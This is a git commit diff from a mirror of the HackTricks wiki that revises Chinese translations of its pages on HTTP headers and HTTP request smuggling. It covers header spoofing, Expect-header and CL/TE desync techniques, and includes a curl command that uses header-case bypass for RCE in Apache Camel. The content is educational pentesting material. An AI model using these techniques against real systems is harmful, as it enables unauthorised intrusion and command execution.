mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/
This commit is contained in:
parent
b25307e0d6
commit
fb75f3bf7e
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 字典和工具
|
||||
## 字典 & 工具
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## 更改位置的头
|
||||
## 用于修改来源/位置的 Headers
|
||||
|
||||
重写 **IP 源**:
|
||||
|
||||
@ -26,110 +26,132 @@
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (检查逐跳头)
|
||||
- `Connection: close, X-Forwarded-For` (检查 hop-by-hop headers)
|
||||
|
||||
重写 **位置**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## 逐跳头
|
||||
## Hop-by-Hop headers
|
||||
|
||||
逐跳头是设计用于由当前处理请求的代理处理和消费的头,与端到端头相对。
|
||||
Hop-by-hop header 是设计用来由当前处理请求的代理解析和消费的 header,与端到端 header 不同。
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## HTTP 请求走私
|
||||
## HTTP Request Smuggling
|
||||
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## 缓存头
|
||||
## The Expect header
|
||||
|
||||
**服务器缓存头**:
|
||||
客户端可能会发送头 `Expect: 100-continue`,然后服务器可以返回 `HTTP/1.1 100 Continue` 以允许客户端继续发送请求体。然而,有些代理不太喜欢这个 header。
|
||||
|
||||
`Expect: 100-continue` 的有趣结果包括:
|
||||
- 向服务器发送带有 body 的 HEAD 请求,服务器没有考虑到 HEAD 请求不应有 body,导致连接保持打开直到超时。
|
||||
- 有些服务器在响应中返回奇怪的数据:从 socket 读取到的随机数据、密钥,甚至可以阻止前端移除某些 header 值。
|
||||
- 这还可能引发 `0.CL` desync,因为后端返回了 400 响应而不是 100 响应,但代理前端已经准备好发送初始请求的 body,于是发送了它,后端将其当作新请求处理。
|
||||
- 发送 `Expect: y 100-continue` 变体也引发过 `0.CL` desync。
|
||||
- 类似的错误中,后端返回 404 导致 `CL.0` desync:恶意请求指示了一个 `Content-Length`,因此后端会把恶意请求和下一个请求(受害者)的 `Content-Length` 字节一起发送,这使得队列不同步 —— 后端为恶意请求发送了 404 响应加上受害者请求的响应,但前端认为只发送了 1 个请求,因此第二个响应被发给了第二个受害者请求,依此类推......
|
||||
|
||||
有关 HTTP Request Smuggling 的更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 缓存相关 Headers
|
||||
|
||||
Server Cache Headers:
|
||||
|
||||
- **`X-Cache`** 在响应中可能为 **`miss`**(未命中缓存)或 **`hit`**(已命中缓存)
|
||||
- 类似行为也会出现在 **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** 指示资源是否被缓存以及下一次缓存的时长:`Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** 通常用于响应中,**指示附加的 header** 被作为 **缓存键的一部分**(即使这些 header 通常不被用作键)
|
||||
- **`Age`** 定义对象在代理缓存中存在的秒数
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** 也表明资源被缓存
|
||||
|
||||
- **`X-Cache`** 在响应中可能具有值 **`miss`** 当请求未被缓存时,值 **`hit`** 当它被缓存时
|
||||
- 在头 **`Cf-Cache-Status`** 中有类似的行为
|
||||
- **`Cache-Control`** 指示资源是否被缓存以及下次资源将被缓存的时间:`Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** 通常在响应中使用,以 **指示额外的头**,这些头被视为 **缓存键的一部分**,即使它们通常没有键。
|
||||
- **`Age`** 定义对象在代理缓存中存在的时间(以秒为单位)。
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** 也指示资源已被缓存
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**本地缓存头**:
|
||||
Local Cache headers:
|
||||
|
||||
- `Clear-Site-Data`: 指示应删除的缓存的头:`Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: 包含响应应过期的日期/时间:`Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` 与 `Cache-Control: no-cache` 相同
|
||||
- `Warning`: **`Warning`** 一般 HTTP 头包含有关消息状态可能存在问题的信息。响应中可能出现多个 `Warning` 头。`Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Clear-Site-Data`: 指示应清除哪些缓存:`Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: 包含响应何时过期的日期/时间:`Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` 等同于 `Cache-Control: no-cache`
|
||||
- `Warning`: 通用 HTTP header,包含有关消息状态可能问题的信息。响应中可能出现多个 `Warning` header。例:`Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## 条件请求
|
||||
|
||||
- 使用这些头的请求:**`If-Modified-Since`** 和 **`If-Unmodified-Since`** 仅在响应头 **`Last-Modified`** 包含不同时间时才会返回数据。
|
||||
- 使用 **`If-Match`** 和 **`If-None-Match`** 的条件请求使用 Etag 值,因此如果数据(Etag)已更改,Web 服务器将发送响应的内容。`Etag` 是从 HTTP 响应中获取的。
|
||||
- **Etag** 值通常是 **基于** 响应的 **内容** 计算的。例如,`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` 表示 `Etag` 是 **37 字节** 的 **Sha1**。
|
||||
- 使用这些 header 的请求:**`If-Modified-Since`** 和 **`If-Unmodified-Since`** 仅在响应头 **`Last-Modified`** 包含不同时间时才返回数据。
|
||||
- 使用 **`If-Match`** 和 **`If-None-Match`** 的条件请求使用 Etag 值,只有当数据(Etag)已更改时,web 服务器才会发送响应内容。`Etag` 来自 HTTP 响应。
|
||||
- **Etag** 值通常基于响应的**内容**计算。例如,`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` 表示该 Etag 是 **37 字节** 的 **SHA1**。
|
||||
|
||||
## 范围请求
|
||||
## Range 请求
|
||||
|
||||
- **`Accept-Ranges`**: 指示服务器是否支持范围请求,如果支持,则以哪种单位表示范围。`Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: 指示服务器应返回文档的部分。例如,`Range:80-100` 将返回原始响应的字节 80 到 100,状态码为 206 部分内容。还要记得从请求中删除 `Accept-Encoding` 头。
|
||||
- 这可能有助于获取包含任意反射 JavaScript 代码的响应,否则可能会被转义。但要滥用这一点,您需要在请求中注入这些头。
|
||||
- **`If-Range`**: 创建一个条件范围请求,仅在给定的 etag 或日期与远程资源匹配时满足。用于防止从不兼容版本的资源下载两个范围。
|
||||
- **`Content-Range`**: 指示部分消息在完整消息体中的位置。
|
||||
- **`Accept-Ranges`**:指示服务器是否支持 range 请求,以及可以用哪种单位表达范围。`Accept-Ranges: <range-unit>`
|
||||
- **`Range`**:指示服务器应返回文档的哪一部分。例如,`Range:80-100` 将返回原始响应的第 80 到 100 字节,并返回状态码 206 Partial Content。也请记得从请求中移除 `Accept-Encoding` header。
|
||||
- 这在获取包含任意反射 JavaScript 代码(否则会被转义)的响应时可能有用。但要滥用它,需要在请求中注入这些 header。
|
||||
- **`If-Range`**:创建一个有条件的 range 请求,只有在给定的 etag 或日期匹配远端资源时才会被满足。用于防止从资源的不兼容版本下载两个范围。
|
||||
- **`Content-Range`**:指示部分消息在完整消息中的位置。
|
||||
|
||||
## 消息体信息
|
||||
|
||||
- **`Content-Length`:** 资源的大小,以字节的十进制数表示。
|
||||
- **`Content-Length`:** 资源的大小,以十进制字节数表示。
|
||||
- **`Content-Type`**: 指示资源的媒体类型
|
||||
- **`Content-Encoding`**: 用于指定压缩算法。
|
||||
- **`Content-Language`**: 描述面向受众的人类语言,以便用户可以根据自己的首选语言进行区分。
|
||||
- **`Content-Location`**: 指示返回数据的替代位置。
|
||||
- **`Content-Language`**: 描述面向受众的人类语言,以便用户根据自己的偏好区分语言。
|
||||
- **`Content-Location`**: 指示返回数据的备用位置。
|
||||
|
||||
从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 401 或 403 的 **保护**,并且您可以找到某种 **方法** 来 **获取** 这些 **信息**,这可能是 **有趣的**。\
|
||||
例如,在 HEAD 请求中结合 **`Range`** 和 **`Etag`** 可以通过 HEAD 请求泄露页面的内容:
|
||||
从 pentest 的角度看这些信息通常“没用”,但如果资源被 401 或 403 保护且你能找到某种方式去获取这些信息,这可能很有趣。\
|
||||
例如,`Range` 和 `Etag` 在 HEAD 请求中的组合可以通过 HEAD 请求 leak 页面内容:
|
||||
|
||||
- 带有头 `Range: bytes=20-20` 的请求和包含 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` 的响应泄露了字节 20 的 SHA1 为 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- 带有头 `Range: bytes=20-20` 的请求且响应包含 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`,泄露出字节 20 的 SHA1 是 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## 服务器信息
|
||||
|
||||
- `Server: Apache/2.4.1 (Unix)`
|
||||
- `X-Powered-By: PHP/5.3.3`
|
||||
|
||||
## 控制
|
||||
## 控制相关
|
||||
|
||||
- **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`,表示资源支持这些方法。
|
||||
- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制有助于通过等待服务器确认来优化网络使用。
|
||||
- **`Allow`**: 该 header 用于指示资源可处理的 HTTP 方法。例如,`Allow: GET, POST, HEAD` 表示该资源支持这些方法。
|
||||
- **`Expect`**: 客户端用来传达服务器在处理请求时需要满足的期望。一个常见用例是 `Expect: 100-continue`,表示客户端打算发送大量数据负载。客户端会等待 `100 (Continue)` 响应再继续发送,从而优化网络使用。
|
||||
|
||||
## 下载
|
||||
|
||||
- **`Content-Disposition`** 头在 HTTP 响应中指示文件应显示为 **内联**(在网页内)还是作为 **附件**(下载)。例如:
|
||||
- HTTP 响应中的 **`Content-Disposition`** header 指示文件是应内联显示(inline,页面内)还是作为附件(attachment,下载)处理。例如:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
这意味着名为 "filename.jpg" 的文件旨在被下载和保存。
|
||||
这意味着名为 "filename.jpg" 的文件应被下载并保存。
|
||||
|
||||
## 安全头部
|
||||
## 安全标头
|
||||
|
||||
### 内容安全策略 (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **受信任的类型**
|
||||
### **Trusted Types**
|
||||
|
||||
通过 CSP 强制实施受信任的类型,应用程序可以防止 DOM XSS 攻击。受信任的类型确保只有符合既定安全政策的特定构造对象可以用于危险的 Web API 调用,从而默认保护 JavaScript 代码。
|
||||
通过在 CSP 中强制使用 Trusted Types,应用可以免受 DOM XSS 攻击。Trusted Types 确保只有符合既定安全策略、专门构造的对象才能用于危险的 web API 调用,从而默认保护 JavaScript 代码。
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,75 +170,75 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
此头部防止 MIME 类型嗅探,这是一种可能导致 XSS 漏洞的做法。它确保浏览器尊重服务器指定的 MIME 类型。
|
||||
此响应头可防止 MIME 类型嗅探,这种做法可能导致 XSS 漏洞。它确保浏览器遵守服务器指定的 MIME 类型。
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
为了对抗点击劫持,此头部限制了文档如何嵌入在 `<frame>`、`<iframe>`、`<embed>` 或 `<object>` 标签中,建议所有文档明确指定其嵌入权限。
|
||||
为防止 clickjacking,该 header 限制文档在 `<frame>`、`<iframe>`、`<embed>` 或 `<object>` 标签中的嵌入方式,建议所有文档显式指定其嵌入权限。
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
### **跨源资源策略 (CORP) 和 跨源资源共享 (CORS)**
|
||||
|
||||
CORP 对于指定哪些资源可以被网站加载至关重要,减轻跨站泄漏。另一方面,CORS 允许更灵活的跨源资源共享机制,在某些条件下放宽同源政策。
|
||||
CORP 对于指定网站可以加载哪些资源至关重要,有助于缓解跨站 leaks。另一方面,CORS 允许更灵活的跨源资源共享机制,在某些条件下放宽同源策略。
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Cross-Origin Embedder Policy (COEP) 和 Cross-Origin Opener Policy (COOP)**
|
||||
### **跨源嵌入策略 (COEP) 和 跨源打开策略 (COOP)**
|
||||
|
||||
COEP 和 COOP 对于启用跨源隔离至关重要,显著降低了类似 Spectre 的攻击风险。它们分别控制跨源资源的加载和与跨源窗口的交互。
|
||||
COEP 和 COOP 对于启用跨源隔离至关重要,可显著降低类似 Spectre 的攻击风险。它们分别控制跨源资源的加载和与跨源窗口的交互。
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
最后,HSTS 是一种安全功能,强制浏览器仅通过安全的 HTTPS 连接与服务器通信,从而增强隐私和安全性。
|
||||
最后,HSTS 是一项安全功能,强制浏览器仅通过安全的 HTTPS 连接与服务器通信,从而增强隐私和安全性。
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 定义头字段名称为 **不区分大小写** (RFC 9110 §5.1)。然而,常常会发现自定义中间件、安全过滤器或业务逻辑在比较接收到的 *字面* 头名称时没有先规范化大小写 (例如 `header.equals("CamelExecCommandExecutable")`)。如果这些检查是 **区分大小写** 的,攻击者可以通过发送相同的头但使用不同的大小写来绕过它们。
|
||||
HTTP/1.1 将 header 字段名定义为 **不区分大小写**(RFC 9110 §5.1)。然而,经常能发现自定义中间件、安全过滤器或业务逻辑在比较接收到的*字面* header 名称时没有先规范化大小写(例如 `header.equals("CamelExecCommandExecutable")`)。如果这些检查是**区分大小写**地执行,攻击者可以只需使用不同的大小写发送相同的 header 来绕过它们。
|
||||
|
||||
这种错误出现的典型情况:
|
||||
Typical situations where this mistake appears:
|
||||
|
||||
* 自定义的允许/拒绝列表,试图在请求到达敏感组件之前阻止“危险”的内部头。
|
||||
* 内部实现的反向代理伪头 (例如 `X-Forwarded-For` 的清理)。
|
||||
* 暴露管理/调试端点并依赖头名称进行身份验证或命令选择的框架。
|
||||
* Custom allow/deny lists that try to block “dangerous” internal headers before the request reaches a sensitive component.
|
||||
* In-house implementations of reverse-proxy pseudo-headers (e.g. `X-Forwarded-For` sanitisation).
|
||||
* Frameworks that expose management / debug endpoints and rely on header names for authentication or command selection.
|
||||
|
||||
### Abusing the bypass
|
||||
### 利用该绕过
|
||||
|
||||
1. 识别一个在服务器端被过滤或验证的头 (例如,通过阅读源代码、文档或错误消息)。
|
||||
2. 发送 **相同的头但使用不同的大小写** (混合大小写或大写)。因为 HTTP 堆栈通常只在用户代码运行后才规范化头,所以可以跳过脆弱的检查。
|
||||
3. 如果下游组件以不区分大小写的方式处理头 (大多数都是),它将接受攻击者控制的值。
|
||||
1. 识别在服务器端被过滤或校验的 header(例如通过阅读源代码、文档或错误信息)。
|
||||
2. 发送 **相同但大小写不同的 header**(混合大小写或全大写)。因为 HTTP 堆栈通常只在用户代码运行之后才规范化 header,故可跳过易受影响的检查。
|
||||
3. 如果下游组件以不区分大小写的方式处理 header(大多数如此),它将接受攻击者控制的值。
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
### 示例:Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
在易受攻击的 Apache Camel 版本中,*Command Center* 路由试图通过去除头 `CamelExecCommandExecutable` 和 `CamelExecCommandArgs` 来阻止不受信任的请求。比较是通过 `equals()` 完成的,因此只有确切的小写名称被移除。
|
||||
在易受影响的 Apache Camel 版本中,*Command Center* 路由尝试通过移除 `CamelExecCommandExecutable` 和 `CamelExecCommandArgs` 这两个 header 来阻止不受信任的请求。比较操作使用了 `equals()`,因此只有完全相同(大小写一致)的名称会被移除。
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
头部未经过滤地到达 `exec` 组件,导致以 Camel 进程的权限执行远程命令。
|
||||
这些 header 未被过滤直接到达 `exec` 组件,导致以 Camel 进程的权限执行远程命令。
|
||||
|
||||
### 检测与缓解
|
||||
|
||||
* 在执行允许/拒绝比较之前,将所有头部名称规范化为单一大小写(通常为小写)。
|
||||
* 拒绝可疑的重复项:如果同时存在 `Header:` 和 `HeAdEr:`,则将其视为异常。
|
||||
* 在规范化后使用强制执行的正面允许列表。
|
||||
* 将所有 header 名称规范化为单一大小写(通常为小写),并在执行 allow/deny 比较之前完成该规范化。
|
||||
* 拒绝可疑的重复:如果同时存在 `Header:` 和 `HeAdEr:`,将其视为异常。
|
||||
* 使用正向 allow-list,并在规范化 **之后** 强制执行。
|
||||
* 通过身份验证和网络分段保护管理端点。
|
||||
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [CVE-2025-27636 – 通过头部大小写绕过在 Apache Camel 中的 RCE (OffSec 博客)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
@ -3,12 +3,12 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 什么是
|
||||
## What is
|
||||
|
||||
当 **front-end proxies** 与 **back-end** 服务器之间发生 **desyncronization**,使得 **attacker** 能够发送一个 HTTP **request**,该请求对 **front-end** proxies(load balance/reverse-proxy)被 **interpreted** 为 **single request**,但对 **back-end** 服务器被 **interpreted** 为 **2 request** 时,就会产生此漏洞。\
|
||||
这允许用户 **modify the next request that arrives to the back-end server after his**。
|
||||
当存在 **desyncronization** 在 **front-end proxies** 和 **back-end** 服务器之间时,攻击者可以 **send** 一个 HTTP **request**,该请求会被 **front-end** 代理(load balance/reverse-proxy)**interpreted** 为一个 **single request**,而被 **back-end** 服务器 **interpreted** 为 **2 request**。\
|
||||
这使得用户能够 **modify the next request that arrives to the back-end server after his**。
|
||||
|
||||
### 理论
|
||||
### Theory
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
@ -23,32 +23,49 @@
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
|
||||
### 现实情况
|
||||
### Reality
|
||||
|
||||
**Front-End**(load-balance / Reverse Proxy)处理 _**Content-Length**_ 或 _**Transfer-Encoding**_ 头,而 **Back-end** 服务器处理另一个头,导致两者之间发生 **desyncronization**。\
|
||||
这可能非常危险,因为 **attacker** 可以向 reverse proxy 发送一个请求,该请求会被 **back-end** 服务器 **interpreted** 为两个不同的请求。该技术的危险在于 **back-end** 会把被注入的第二个请求当作来自下一个客户端的请求来处理,而该客户端的真实请求将成为被注入请求的一部分。
|
||||
**Front-End**(load-balance / Reverse Proxy)处理 _**content-length**_ 或 _**transfer-encoding**_ 头,而 **Back-end** 服务器则处理另一个头,从而在两者之间引发 **desyncronization**。\
|
||||
这可能非常严重,因为 **attacker** 可以向 reverse proxy 发送一个请求,该请求会被 **back-end** 服务器 **interpreted** 为两个不同的请求。该技术的危险在于,**back-end** 服务器会将被注入的第二个请求当作来自下一个客户端的请求来处理,而该下一个客户端的真实请求将成为被注入请求的一部分。
|
||||
|
||||
### 特别之处
|
||||
### Particularities
|
||||
|
||||
记住在 HTTP 中 **换行字符由 2 个字节组成:**
|
||||
请记住在 HTTP 中 **换行符由两个字节组成:**
|
||||
|
||||
- **Content-Length**: 该 header 使用十进制数字来指示请求体的字节数。请求体预期在最后一个字符处结束,**请求末尾不需要额外的换行**。
|
||||
- **Transfer-Encoding:** 该 header 在 **body** 中使用十六进制数字来指示下一 chunk 的字节数。**chunk** 必须以换行结束,但该换行不计入长度指示。此传输方法必须以一个 **大小为 0 的 chunk,后跟 2 个换行** 结束:`0`
|
||||
- **Content-Length**: 该 header 使用 **十进制数字** 来指示请求体的 **字节数**。请求体期望在最后一个字符处结束,**请求末尾不需要额外的新行**。
|
||||
- **Transfer-Encoding:** 该 header 在 **body** 中使用 **十六进制数字** 来指示 **下一个 chunk 的字节数**。该 **chunk** 必须以 **新行** 结束,但该新行 **不计入** 长度指示中。此传输方法必须以 **大小为 0 的 chunk 后跟 2 个新行** 结束: `0`
|
||||
- **Connection**: 根据我的经验,建议在 request Smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
|
||||
|
||||
### Visible - Hidden
|
||||
|
||||
http/1.1 的主要问题是所有请求都通过同一个 TCP socket 发送,因此如果在接收请求的两个系统之间发现不一致,就可能发送一个在中间件被视为一个请求、但在最终后端被视为两个(或更多)不同请求的包。
|
||||
|
||||
[This blog post](https://portswigger.net/research/http1-must-die) 提出了一些检测 desync 攻击的新方法,这些方法不会被 WAF 标记。为此,它介绍了 Visible vs Hidden 的行为。目标是在不实际利用漏洞的情况下,通过可能导致 desync 的技术来尝试发现响应差异。
|
||||
|
||||
例如,发送带有正常 Host header 的请求以及带有 " host" header 的请求,如果后端对该请求报错(可能因为 " host" 的值不正确),这可能意味着 front-end 没有注意到 " host" header,而最终后端却使用了它,这很可能表示 front-end 与 back-end 之间存在 desync。
|
||||
|
||||
这将是一个 **Hidden-Visible discrepancy**。
|
||||
|
||||
如果 front-end 考虑了 " host" header 而 back-end 没有,则可能是 **Visible-Hidden** 的情况。
|
||||
|
||||
例如,这使得发现 AWS ALB 作为 front-end 与 IIS 作为 backend 之间的 desync 成为可能。当发送 "Host: foo/bar" 时,ALB 返回 `400, Server; awselb/2.0`,但当发送 "Host : foo/bar" 时,它返回 `400, Server: Microsoft-HTTPAPI/2.0`,表明响应是由后端发送的。这是一个 Hidden-Visible (H-V) 情况。
|
||||
|
||||
注意,此问题在 AWS 中并未修复,但可以通过设置 `routing.http.drop_invalid_header_fields.enabled` 和 `routing.http.desync_mitigation_mode = strictest` 来预防。
|
||||
|
||||
|
||||
## Basic Examples
|
||||
|
||||
> [!TIP]
|
||||
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
|
||||
> 在尝试使用 Burp Suite 利用此类漏洞时,请在 repeater 中 **禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为某些 gadget 会利用换行、回车和格式错误的 content-length。
|
||||
|
||||
HTTP request smuggling 攻击通过发送模糊不清的请求来利用 front-end 和 back-end 服务器如何解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头的不一致。这类攻击主要以 **CL.TE**、**TE.CL** 和 **TE.TE** 形式出现。每种类型表示 front-end 和 back-end 在头优先级上的不同组合。漏洞的根源在于服务器以不同方式处理同一请求,从而导致不可预期并可能恶意的结果。
|
||||
HTTP request smuggling 攻击通过发送模糊请求来构造,利用 front-end 与 back-end 在解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头时的差异。这些攻击主要以 **CL.TE**、**TE.CL** 和 **TE.TE** 的形式表现。每种类型代表 front-end 与 back-end 优先处理这些头部的不同组合。漏洞产生于服务器以不同方式处理相同请求,导致意想不到且可能恶意的结果。
|
||||
|
||||
### 漏洞类型的基本示例
|
||||
### Basic Examples of Vulnerability Types
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
|
||||
> 在上表基础上你还应添加 TE.0 技术,类似 CL.0 技术但使用 Transfer-Encoding。
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
@ -57,8 +74,8 @@ HTTP request smuggling 攻击通过发送模糊不清的请求来利用 front-en
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻击者发送一个 `Content-Length` 值与实际内容长度不匹配的请求。
|
||||
- front-end 服务器根据 `Content-Length` 值将整个请求转发给 back-end。
|
||||
- back-end 服务器由于存在 `Transfer-Encoding: chunked` header,将剩余数据解释为单独的后续请求。
|
||||
- front-end 根据 `Content-Length` 值将整个请求转发给 back-end。
|
||||
- back-end 因 `Transfer-Encoding: chunked` 而将请求作为 chunked 处理,把剩余数据解释为另一个独立的后续请求。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
@ -80,9 +97,9 @@ Foo: x
|
||||
- **Back-End (CL):** 根据 `Content-Length` header 处理请求。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻击者发送一个 chunked 请求,chunk 大小(`7b`)与实际内容长度(`Content-Length: 4`)不一致。
|
||||
- front-end 服务器遵循 `Transfer-Encoding`,将整个请求转发给 back-end。
|
||||
- back-end 服务器遵循 `Content-Length`,只处理请求的初始部分(`7b` 字节),其余部分被视为意外的后续请求的一部分。
|
||||
- 攻击者发送一个 chunked 请求,其中 chunk 大小(`7b` 的十六进制)与实际的 `Content-Length: 4` 不一致。
|
||||
- front-end 遵循 `Transfer-Encoding` 将整个请求转发给 back-end。
|
||||
- back-end 遵循 `Content-Length`,只处理请求的初始部分(`7b` 字节),剩余部分被当作意外的后续请求的一部分。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
@ -105,12 +122,12 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Servers:** 两端都支持 `Transfer-Encoding`,但其中一端可能被混淆手法骗过而未识别。
|
||||
- **Servers:** 双方都支持 `Transfer-Encoding`,但其中一个可能因头部混淆而无法识别。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻击者发送带有混淆的 `Transfer-Encoding` headers 的请求。
|
||||
- 取决于哪个服务器(front-end 或 back-end)未能识别混淆,就可能利用 CL.TE 或 TE.CL 漏洞。
|
||||
- 在一个服务器看来未被处理的请求部分会成为后续请求的一部分,从而导致 smuggling。
|
||||
- 攻击者发送含有混淆的 `Transfer-Encoding` headers 的请求。
|
||||
- 根据哪个服务器(front-end 或 back-end)未能识别混淆,可能利用 CL.TE 或 TE.CL 漏洞。
|
||||
- 被某一端视为未处理的请求部分会成为后续请求的一部分,从而导致 smuggling。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
@ -132,8 +149,8 @@ Transfer-Encoding
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- 两端服务器均仅基于 `Content-Length` header 处理请求。
|
||||
- 该场景通常不会导致 smuggling,因为两端在如何解释请求长度上保持一致。
|
||||
- 双方服务器都仅根据 `Content-Length` header 处理请求。
|
||||
- 这种情况通常不会导致 smuggling,因为两端在如何解释请求长度上是一致的。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
@ -147,8 +164,8 @@ Normal Request
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- 指的是存在 `Content-Length` header 且其值非零,表示请求体有内容。但 back-end 将 `Content-Length` 忽略(视为 0),而 front-end 解析该值。
|
||||
- 这在理解和构造 smuggling 攻击时非常关键,因为它影响服务器如何确定请求结束。
|
||||
- 指的是 `Content-Length` header 存在且值非零,表示请求体有内容;back-end 忽略该 `Content-Length`(将其视为 0),但 front-end 解析它。
|
||||
- 这在理解和构造 smuggling 攻击时很重要,因为它影响服务器如何确定请求的结束。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
